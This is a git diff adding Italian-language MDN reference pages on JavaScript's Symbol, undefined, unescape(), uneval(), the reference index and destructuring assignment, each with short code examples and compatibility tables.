+<p>Le proprietà le cui chiavi sono symbol vengono completamente ignorate da <code>JSON.stringify()</code>:</p>
+
+<pre class="brush: js">JSON.stringify({[Symbol('foo')]: 'foo'});
+// '{}'</pre>
+
+<p>Per ulteriori dettagli, vedere {{jsxref("JSON.stringify()")}}.</p>
+
+<h3 id="Symbol_wrapper_objects_come_chiavi_per_le_proprietà">Symbol wrapper objects come chiavi per le proprietà</h3>
+
+<p>Quando un oggetto wrapper symbol viene usato come chiave di una proprietà, tale oggetto verrà costretto al suo wrapped symbol:</p>
+
+<pre class="brush: js">var sym = Symbol('foo');
+var obj = {[sym]: 1};
+obj[sym];            // 1
+obj[Object(sym)];    // still 1
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Symbol")}}</p>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Glossary/Symbol">Glossary: Symbol data type</a></li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/">"ES6 In Depth: Symbols" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/undefined/index.html b/files/it/web/javascript/reference/global_objects/undefined/index.html
new file mode 100644
index 0000000000..d16ca712cf
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/undefined/index.html
@@ -0,0 +1,173 @@
+---
+title: undefined
+slug: Web/JavaScript/Reference/Global_Objects/undefined
+translation_of: Web/JavaScript/Reference/Global_Objects/undefined
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La variabile globale <strong><code>undefined</code></strong> rappresenta il valore primitivo <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">{{Glossary("Undefined", "undefined")}}</span>. È uno dei {{Glossary("Primitive", "valori primitivi")}} di JavaScript.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code>undefined</code></pre>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p><code>undefined</code> è una proprietà dell'<em>oggetto globale</em>, ossia una variablie nel contesto globale. Il valore iniziale di <code>undefined</code> è il valore primitivo <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">{{Glossary("Undefined", "undefined")}}</span>. </p>
+
+<p>Secondo la specifica ECMAScript5, <code>undefined</code> è accessibile in sola lettura (implementato in JavaScript 1.8.5 / Firefox 4).</p>
+
+<p>Una variabile alla quale non è ancora stato assegnato un valore è di tipo undefined. Un metodo o una dichiarazione restituisce <code>undefined</code> se la variabile che viene valutata non ha un valore assegnato. Una funzione restituisce <code>undefined</code> se non viene restituito un altro valore.</p>
+
+<p>Siccome <code>undefined</code> non è una {{jsxref("Reserved_Words", "parola riservata")}}, può essere usato come <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variables">nome di una variabile</a> in qualsiasi contesto, eccetto quello globale.</p>
+
+<pre class="brush: js">// logs "foo string"
+(function(){ var undefined = 'foo'; console.log(undefined, typeof undefined); })();
+
+// logs "foo string"
+(function(undefined){ console.log(undefined, typeof undefined); })('foo');
+</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="undefined_e_l'uguaglianza_ristretta"><code>undefined</code> e l'uguaglianza ristretta</h3>
+
+<p>Puoi usare <code>undefined</code> e gli operatori "<em>strettamente uguale"</em> e "<em>strettamente diverso</em>" per determinare se ad una variabile è stato assegnato un valore. In questo codice, la variabile <code>x</code> non è definita, qundi l'istruzione <code>if</code> viene valutata vera.</p>
+
+<pre class="brush: js">var x;
+
+x === undefined; // true
+</pre>
+
+<div class="note"><strong>Nota:</strong> Qui devono essere utilizzati gli operatori di uguaglianza stretta, perché <code>x == undefined</code> è vero anche se <code>x</code> è <code>null</code>, mentre confrontandoli con l'ugualianza stretta no. <code>null</code> e <code>undefined</code> non sono equivalenti. Vedi gli {{jsxref("Operators/Comparsion_Operators", "operatori di comparazione")}} per altri dettagli.</div>
+
+<h3 id="undefined_e_l'operatore_typeof"><code>undefined</code> e l'operatore <code>typeof</code></h3>
+
+<p>In alternativa può anche essere usato l'operatore <code>{{jsxref("Operators/typeof", "typeof")}}:</code></p>
+
+<pre class="brush: js">var x;
+
+typeof x === 'undefined'; // true
+</pre>
+
+<p>Un motivo per cui usare l'operatore <code>{{jsxref("Operators/typeof", "typeof")}}</code> è che se la variabile non  stata dichiarata non viene generato un errore.</p>
+
+<pre class="brush: js">// x non è ancora stata dichiarata
+
+typeof x === "undefined"; // viene valutata come vera, senza generare erroi
+
+x === undefined;          // genera un ReferenceError
+</pre>
+
+<p>Comunque questa tecnica dovrebbe essere evitata. JavaScript è un linguaggio staticamente contestualizzato, quindi si può sapere se una variabile è stata dichiarata in un contesto guardando in quelli che lo contengono. L'unica eccezione è il contesto globale, che è rappresentato dall'<em>oggetto globale</em>: quindi per sapere se esiste una variabile basta controllare se esiste una proprietà nell'<em>oggetto globale</em> (per esempio usando l'operatore {{jsxref("Operators/in", "in")}} o il metodo {{jsxref("Global_Objects/Object/hasOwnProperty", "hasOwnProperty")}})</p>
+
+<pre class="brush: js">// x non è ancora stata dichiarata
+
+"x" in window;              // false
+window.hasOwnProperty("x"); // false
+
+var x = 3;
+
+"x" in window;              // true
+window.hasOwnProperty("y"); // true
+</pre>
+
+<h3 id="undefined_e_l'operatore_void"><code>undefined</code> e l'operatore <code>void</code></h3>
+
+<p>Una terza alternativa è l'operatore {{jsxref("Operators/void", "<code>void</code>")}}.</p>
+
+<pre class="brush: js">var x;
+x === void 0; // true
+
+// y non è ancora stata dichiarata
+y === void 0; // genera un ReferenceError (a differenza di `typeof`)
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.3', 'undefined')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-undefined', 'undefined')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light',sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/it/web/javascript/reference/global_objects/unescape/index.html b/files/it/web/javascript/reference/global_objects/unescape/index.html
new file mode 100644
index 0000000000..d3c31d5f96
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/unescape/index.html
@@ -0,0 +1,124 @@
+---
+title: unescape()
+slug: Web/JavaScript/Reference/Global_Objects/unescape
+translation_of: Web/JavaScript/Reference/Global_Objects/unescape
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}} {{deprecated_header()}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La funzione <strong><code>unescape()</code></strong>, deprecata, crea una nuova stringa nella quale le sequenze di escape esadecimali vengono sostituite con il loro carattere corrispondente. Le sequenze di escape potrebbero essere state generate da funzioni simili a {{jsxref("Global_Objects/escape", "escape()")}}. Essendo <code>unescape()</code> deprecata, è preferibile utilizzare le funzioni {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} o {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}.</p>
+
+<div class="note"><strong>Nota:</strong> Non usare la funzione <code>unescape()</code> per decodificare degli {{Glossary("URI")}}, usa {{jsxref("Global_Objects/decodeURI", "decodeURI()")}}.</div>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code>unescape(string)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>La stringa da decodificare.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>La funzione <code>unescape()</code> è una proprietà dell'<em>oggetto globale</em>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">unescape("abc123");     // "abc123"
+unescape("%E4%F6%FC");  // "äöü"
+unescape("%u0107");     // "ć"
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.2', 'unescape')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definita nell'appendice B, "<em>Compatibility</em>"</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-unescape-string', 'unescape')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definita nell'appendice B, "<em>Additional ECMAScript Features for Web Browsers</em>"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/uneval/index.html b/files/it/web/javascript/reference/global_objects/uneval/index.html
new file mode 100644
index 0000000000..965dc014b4
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/uneval/index.html
@@ -0,0 +1,112 @@
+---
+title: uneval()
+slug: Web/JavaScript/Reference/Global_Objects/uneval
+translation_of: Web/JavaScript/Reference/Global_Objects/uneval
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}{{Non-standard_header}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La funzione <strong><code>uneval()</code></strong> crea una stringa rappresentante il codice sorcente di un oggetto.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox">uneval(<var>object</var>)</pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Una qualsiasi espressione o dichiarazione JavaScript</dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> Questa funzione non restituisce una rappresentazione JSON valida. Usare il metodo {{jsxref("JSON.stringify()")}}</div>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p><code>uneval()</code> è una funzione globale e non è associata a nessun oggetto.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush:js">var a = 1;
+uneval(a); // restituisce la stringa "1"
+
+var b = "1";
+uneval(b) // restituisce la stringa '"1"'
+
+uneval(function foo(){}); // restituisce "(function foo(){})"
+
+
+var a = uneval(function foo(){return "ciao"});
+var foo = eval(a);
+foo(); // restituisce "ciao"
+</pre>
+
+<h2 id="See_also" name="See_also">Specifiche</h2>
+
+<p>Non fa parte di nessuna specifica.</p>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+ <li>{{jsxref("JSON.stringify")}}</li>
+ <li>{{jsxref("JSON.parse")}}</li>
+ <li>{{jsxref("Object.toSource")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/index.html b/files/it/web/javascript/reference/index.html
new file mode 100644
index 0000000000..47b1cdf0fd
--- /dev/null
+++ b/files/it/web/javascript/reference/index.html
@@ -0,0 +1,49 @@
+---
+title: Riferimento JavaScript
+slug: Web/JavaScript/Reference
+tags:
+  - JavaScript
+  - TopicStub
+translation_of: Web/JavaScript/Reference
+---
+<p id="About_this_Reference">{{JsSidebar}}</p>
+
+<p>Questa sezione riguardante JavaScript contiene informazioni riguardo a tale linguaggio. Leggi altre informazioni {{jsxref("About", "riguardo a questa documentazione", "", 1)}}.</p>
+
+<h2 id="Oggetti_globali">Oggetti globali</h2>
+
+<p>Questo capitolo documenta tutti gli {{jsxref("Global_Objects", "oggetti standard predefiniti", "", 1)}} di JavaScript, con i loro metodi e le loro proprietà.</p>
+
+<div>{{page('/it/docs/Web/JavaScript/Reference/Global_Objects', 'Oggetti_standard_(per_categoria)')}}</div>
+
+<h2 id="Statements" name="Statements">Statements</h2>
+
+<p>Questo capitolo documenta tutti gli {{jsxref("Statements", "statements e le dichiarazioni", "", 1)}} JavaScript.</p>
+
+<div>{{page('/it/docs/Web/JavaScript/Reference/Statements', "Statements_and_declarations_by_category")}}</div>
+
+<h2 id="Operators" name="Operators">Espressioni e operatori</h2>
+
+<p>Questo capitolo documenta {{jsxref("Operators", "espresisioni e operatori", "", 1)}} di JavaScript.</p>
+
+<div>{{page('/it/docs/Web/JavaScript/Reference/Operators', "Expressions_and_operators_by_category", "", 1)}}</div>
+
+<h2 id="Funzioni">Funzioni</h2>
+
+<p>Questo capitolo documenta come usare le {{jsxref("Functions", "funzioni", "", 1)}} in JavaScript.</p>
+
+<ul>
+ <li>{{jsxref("Functions/arguments", "arguments")}}</li>
+ <li>{{jsxref("Functions/Arrow_functions", "Arrow functions", "", 1)}}</li>
+ <li>{{jsxref("Functions/Default_parameters", "Parametri predefiniti", "", 1)}}</li>
+ <li>{{jsxref("Functions/rest_parameters", "Parametri rest", "", 1)}}</li>
+</ul>
+
+<h2 id="Comments" name="Comments">Altre pagine utili</h2>
+
+<ul>
+ <li>{{jsxref("Lexical_grammar", "Grammatica del linguaggio", "", 1)}}</li>
+ <li>{{jsxref("Data_structures", "Tipi e struttura dei dati", "", 1)}}</li>
+ <li>{{jsxref("Strict_mode", "Strict mode", "", 1)}}</li>
+ <li>{{jsxref("Deprecated_and_obsolete_features", "Funzionalità deprecate o obsolete", "", 1)}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/destructuring_assignment/index.html b/files/it/web/javascript/reference/operators/destructuring_assignment/index.html
new file mode 100644
index 0000000000..12a790e45c
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/destructuring_assignment/index.html
@@ -0,0 +1,451 @@
+---
+title: Assegnamento di destrutturazione
+slug: Web/JavaScript/Reference/Operators/Destructuring_assignment
+translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La sintassi di <strong>assegnamento di destrutturazione </strong>è un'espressione JavaScript che rende possibile estrarre informazioni da array o oggetti in variabili distinte.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="brush:js">var a, b, rest;
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+
+[a, b, ...rest] = [1, 2, 3, 4, 5];
+console.log(a); // 1
+console.log(b); // 2
+console.log(rest); // [3, 4, 5]
+
+({a, b} = {a:1, b:2});
+console.log(a); // 1
+console.log(b); // 2
+
+// ES2016 - non implementato in Firefox 47a01
+({a, b, ...rest} = {a:1, b:2, c:3, d:4});
+</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Le espressioni lettali degli oggetti e degli array forniscono un modo facile per creare <em>ad hoc</em> pacchetti di data.</p>
+
+<pre class="brush: js">var x = [1, 2, 3, 4, 5];</pre>
+
+<p>L'assegnamento di destrutturazione utilizza una sintassi simile, ma a sinistra dell'assegnamento sono definiti quali elementi estrarre dalla variabile sorgente (array o oggetti).</p>
+
+<pre class="brush: js">var x = [1, 2, 3, 4, 5];
+var [y, z] = x;
+console.log(y); // 1
+console.log(z); // 2
+</pre>
+
+<p>Questa capacità è simile alle caratteristiche presenti in linguaggi come Perl e Python.</p>
+
+<h2 id="Destrutturazione_di_array">Destrutturazione di array</h2>
+
+<h3 id="Assegnamento_semplice_di_variabile">Assegnamento semplice di variabile</h3>
+
+<pre class="brush: js">var foo = ["one", "two", "three"];
+
+var [one, two, three] = foo;
+console.log(one); // "one"
+console.log(two); // "two"
+console.log(three); // "three"
+</pre>
+
+<h3 id="Assegnamento_separato_dalla_dichiarazione">Assegnamento separato dalla dichiarazione</h3>
+
+<p>Il valore di una variabile può essere assegnato (sempre con la destrutturazione) in modo separato dalla dichiarazione della variabile stessa.</p>
+
+<pre class="brush:js">var a, b;
+
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="Valori_default">Valori default</h3>
+
+<p>Ad una variabile può essere assegnato un valore default nel caso in cui il valore estratto dall'array sia <code>undefined</code>.</p>
+
+<pre class="brush: js">var a, b;
+
+[a=5, b=7] = [1];
+console.log(a); // 1
+console.log(b); // 7
+</pre>
+
+<h3 id="Scambio_di_variabili">Scambio di variabili</h3>
+
+<p>Due valori di variabili possono essere scambiati in un assegnamento di destrutturazione.</p>
+
+<p>Senza l'assegnamento di destrutturazione, scambiare due valori richiede una variabile momentanea (o, in alcuni linguaggi low-level, il <a class="external" href="https://en.wikipedia.org/wiki/XOR_swap_algorithm">XOR-swap trick</a>).</p>
+
+<pre class="brush:js">var a = 1;
+var b = 3;
+
+[a, b] = [b, a];
+console.log(a); // 3
+console.log(b); // 1
+</pre>
+
+<h3 id="Fare_il_parsing_di_un_array_ritornato_da_una_funzione">Fare il parsing di un array ritornato da una funzione</h3>
+
+<p>È sempre stato possibile ritornare un array da una funzione. La destrutturazione può rendere più conciso lavorare con il valore di ritorno di un array</p>
+
+<p>In questo esempio, <code>f()</code> ritorna i valori <code>[1, 2]</code> come output, e questi possono essere analizzati in una singola linea con la destrutturazione.</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2];
+}
+
+var a, b;
+// puoi fare questo grazie alla destrutturazione
+[a, b] = f();
+
+// invece di questo
+a = f()[0];
+b = f()[1];
+
+// è la stessa identica cosa, però c'è un enorme differenza in termini
+//di leggibilità e concisione
+
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="Ignorare_alcuni_valori_ritornati">Ignorare alcuni valori ritornati</h3>
+
+<p>Puoi ignorare i valori ritornati nei quali non sei interessato:</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2, 3];
+}
+
+var [a, , b] = f();
+console.log(a); // 1
+console.log(b); // 3
+</pre>
+
+<p>Puoi anche ignorare tutti i valori ritornati:</p>
+
+<pre class="brush:js">[,,] = f();
+</pre>
+
+<h3 id="Assegnare_il_resto_di_un_array_ad_una_variabile">Assegnare il resto di un array ad una variabile</h3>
+
+<p>Quando si destruttura un array, puoi assegnare la sua parte rimanente ad una variabile usando l'operatore rest (i 3 puntini):</p>
+
+<pre class="brush: js">var [a, ...b] = [1, 2, 3];
+console.log(a); // 1
+console.log(b); // [2, 3]</pre>
+
+<h3 id="Estrarre_valori_da_un_match_con_un'espressione_regolare">Estrarre valori da un match con un'espressione regolare</h3>
+
+<p>Quando il metodo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">exec()</a></code> trova un match, ritorna un array contenente come 1° elemento l'intera porzione della stringa e poi le porzioni della stringa che hanno fatto match con ognuno dei gruppi in parentesi dell'espressione regolare. L'assegnamento di destrutturazione ti permetti di estrarre le parti di questo array facilmente, ignorando l'intero match se non ne hai bisogno.</p>
+
+<pre class="brush:js">var url = "https://developer.mozilla.org/en-US/Web/JavaScript";
+
+var parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+console.log(parsedURL); // ["https://developer.mozilla.org/en-US/Web/JavaScript", "https", "developer.mozilla.org", "en-US/Web/JavaScript"]
+
+var [, protocol, fullhost, fullpath] = parsedURL;
+
+console.log(protocol); // "https"
+</pre>
+
+<h2 id="Destrutturazione_degli_oggetti">Destrutturazione degli oggetti</h2>
+
+<h3 id="Assegnamento_base">Assegnamento base</h3>
+
+<pre class="brush: js">var o = {p: 42, q: true};
+var {p, q} = o;
+
+console.log(p); // 42
+console.log(q); // true
+</pre>
+
+<h3 id="Assegnamento_senza_dichiarazione">Assegnamento senza dichiarazione</h3>
+
+<p>Il valore di una variabile può essere assegnato senza destrutturazione separatamente dalla sua dichiarazione.</p>
+
+<pre class="brush:js">var a, b;
+
+({a, b} = {a:1, b:2});</pre>
+
+<div class="note">
+<p><code><font face="Open Sans, Arial, sans-serif">Le </font>( )</code> attorno l'assegnamento di destrutturazione sono obbligatorie quando si usa la destrutturazione degli oggetti letterali senza una dichiarazione.</p>
+
+<p><code>{a, b} = {a:1, b:2}</code> non è sintassi valida, dato che <code>{a, b}</code> sulla sinistra è considerato un blocco e non un oggetto letterale.</p>
+
+<p>Tuttavia, <code>({a, b} = {a:1, b:2})</code> è valida, dato che <code>var {a, b} = {a:1, b:2}</code></p>
+</div>
+
+<h3 id="Assegnamento_a_nuovi_nomi_di_variabili">Assegnamento a nuovi nomi di variabili </h3>
+
+<p>Una variabile può essere estratta da un oggetto e assegnata ad una variabile con un nome diverso da quello della proprietà dell'oggetto.</p>
+
+<pre class="brush: js">var o = {p: 42, q: true};
+var {p: foo, q: bar} = o;
+
+console.log(foo); // 42
+console.log(bar); // true  </pre>
+
+<h3 id="Valori_default_2">Valori default</h3>
+
+<p>Ad una variabile può essere assegnato un valore default nel caso in cui il valore estratto dall'oggetto sia <code>undefined</code>.</p>
+
+<pre class="brush: js">var {a=10, b=5} = {a: 3};
+
+console.log(a); // 3
+console.log(b); // 5</pre>
+
+<h3 id="Impostare_i_valore_default_dei_parametri_di_una_funzione">Impostare i valore default dei parametri di una funzione</h3>
+
+<h4 id="Versione_ES5">Versione ES5</h4>
+
+<pre class="brush: js">function drawES5Chart(options) {
+  options = options === undefined ? {} : options;
+  var size = options.size === undefined ? 'big' : options.size;
+  var cords = options.cords === undefined ? { x: 0, y: 0 } : options.cords;
+  var radius = options.radius === undefined ? 25 : options.radius;
+  console.log(size, cords, radius);
+  // now finally do some chart drawing
+}
+
+drawES5Chart({
+  cords: { x: 18, y: 30 },
+  radius: 30
+});</pre>
+
+<h4 id="Versione_ES2015">Versione ES2015</h4>
+
+<pre class="brush: js">function drawES2015Chart({size = 'big', cords = { x: 0, y: 0 }, radius = 25} = {}) {
+  console.log(size, cords, radius);
+  // do some chart drawing
+}
+
+drawES2015Chart({
+  cords: { x: 18, y: 30 },
+  radius: 30
+});</pre>
+
+<h3 id="Oggetti_annidati_e_destrutturazione_array">Oggetti annidati e destrutturazione array</h3>
+
+<pre class="brush:js">var metadata = {
+    title: "Scratchpad",
+    translations: [
+       {
+        locale: "de",
+        localization_tags: [ ],
+        last_edit: "2014-04-14T08:43:37",
+        url: "/de/docs/Tools/Scratchpad",
+        title: "JavaScript-Umgebung"
+       }
+    ],
+    url: "/en-US/docs/Tools/Scratchpad"
+};
+
+var { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle);  // "JavaScript-Umgebung"</pre>
+
+<h3 id="Iterazione_con_for...of_e_destrutturazione">Iterazione con for...of e destrutturazione</h3>
+
+<pre class="brush: js">var people = [
+  {
+    name: "Mike Smith",
+    family: {
+      mother: "Jane Smith",
+      father: "Harry Smith",
+      sister: "Samantha Smith"
+    },
+    age: 35
+  },
+  {
+    name: "Tom Jones",
+    family: {
+      mother: "Norah Jones",
+      father: "Richard Jones",
+      brother: "Howard Jones"
+    },
+    age: 25
+  }
+];
+
+for (var {name: n, family: { father: f } } of people) {
+  console.log("Name: " + n + ", Father: " + f);
+}
+
+// "Name: Mike Smith, Father: Harry Smith"
+// "Name: Tom Jones, Father: Richard Jones"</pre>
+
+<h3 id="Estrarre_campi_dagli_oggetti_passati_come_parametri_delle_funzioni">Estrarre campi dagli oggetti passati come parametri delle funzioni</h3>
+
+<pre class="brush:js">function userId({id}) {
+  return id;
+}
+
+function whois({displayName: displayName, fullName: {firstName: name}}){
+  console.log(displayName + " is " + name);
+}
+
+var user = {
+  id: 42,
+  displayName: "jdoe",
+  fullName: {
+      firstName: "John",
+      lastName: "Doe"
+  }
+};
+
+console.log("userId: " + userId(user)); // "userId: 42"
+whois(user); // "jdoe is John"</pre>
+
+<p>Questo estrae  <code>id</code>, <code>displayName</code> e <code>firstName</code> da l'oggetto user e li stampa.</p>
+
